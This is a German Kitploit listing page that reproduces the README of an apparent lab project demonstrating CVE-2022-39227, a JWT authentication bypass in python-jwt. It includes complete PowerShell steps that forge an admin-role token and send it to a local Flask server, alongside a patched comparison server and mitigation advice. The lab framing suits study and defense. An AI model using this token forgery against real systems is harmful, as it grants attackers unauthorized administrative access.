Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2022-39227-jwt-auth-bypass-demo | Kitploit
Tools/GitHubGitHub/melikesraoz/cve-2022-39227-jwt-auth-bypass-demo
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungLabs & Praxis
GitHubmelikesraoz/cve-2022-39227-jwt-auth-bypass-demo

cve-2022-39227-jwt-auth-bypass-demo

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

CVE-2022-39227 JWT Authentication Bypass Demo

Projektziel

Dieses Projekt demonstriert die CVE-2022-39227-Schwachstelle in einer kontrollierten lokalen Laborumgebung. Diese Schwachstelle betrifft die Bibliothek python-jwt (Versionen < 3.3.4) und ermöglicht es einem Angreifer, JWT-Claims zu fälschen, ohne den geheimen Schlüssel zu kennen, indem eine Parsing-Inkonsistenz (JWS-Serialisierung) zwischen python-jwt und seiner Abhängigkeit jwcrypto ausgenutzt wird.

Technologien

  • Python 3.9
  • Flask (Web-Framework)
  • python-jwt 3.3.3 (Verwundbare Version)
  • python-jwt 3.3.4 (Gepatchte Version)
  • Docker & Docker Compose

Projektarchitektur

Das Projekt startet zwei identische Flask-Anwendungen mithilfe von Docker, die sich nur durch ihre Abhängigkeitsversionen unterscheiden:

  • Port 5000: Verwundbare App (python-jwt==3.3.3)
  • Port 5001: Gepatchte App (python-jwt==3.3.4)

Beide Anwendungen implementieren eine einfache rollenbasierte Zugriffskontrolle (RBAC). Ein regulärer Benutzer (alice) kann sich anmelden und ein JWT erhalten. Nur Benutzer mit der Rolle admin in ihrem JWT-Claim können auf den /admin-Endpunkt zugreifen.


🚀 Einrichtung und Ausführung

1. Umgebung starten Stelle sicher, dass Docker Desktop läuft, und führe dann Folgendes aus:

root@kitploit:~
docker-compose up -d --build

Dadurch werden sowohl der verwundbare als auch der gepatchte Server im Hintergrund gestartet.


🛠 Angriffsdemo (PowerShell Schritt für Schritt)

Um den Angriff zu reproduzieren, führst du rohe HTTP-Anfragen und Payload-Manipulationen manuell in PowerShell aus. Dies zeigt, dass die Schwachstelle im Protokoll und in der Parsing-Logik der Bibliothek liegt und nicht in einem externen Werkzeug.

Schritt 1: Anmelden und ein gültiges Token erhalten

root@kitploit:~
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token

Schritt 2: Das JWT in Komponenten aufteilen

root@kitploit:~
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]

Schritt 3: Payload decodieren, Rolle ändern und als Base64Url neu codieren

root@kitploit:~
# Decode original payload
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))

# Change role from "user" to "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'

# Encode modified payload back to Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')

Schritt 4: Das bösartige JWS-Serialisierungsformat erstellen

root@kitploit:~
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
  -f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'

Schritt 5: Den Angriff gegen beide Server ausführen

root@kitploit:~
# Attack Vulnerable Server (Port 5000) -> SUCCESS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"

# Attack Fixed Server (Port 5001) -> BLOCKED (Invalid token format)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"

🛡 Gegenmaßnahmen

Aktualisiere python-jwt auf Version 3.3.4 oder neuer. Darüber hinaus sollten Anwendungen eine strenge Signaturvalidierung durchsetzen und die Integrität der Payload wann immer möglich direkt über die Logikschicht der Anwendung verifizieren.

Ethischer Rahmen

Dieses Projekt wurde strikt in einer lokalen, kontrollierten Laborumgebung zu Bildungszwecken durchgeführt. Es wurden keine Systeme Dritter, öffentliche Dienste oder echte Benutzerkonten angegriffen.

Tool herunterladen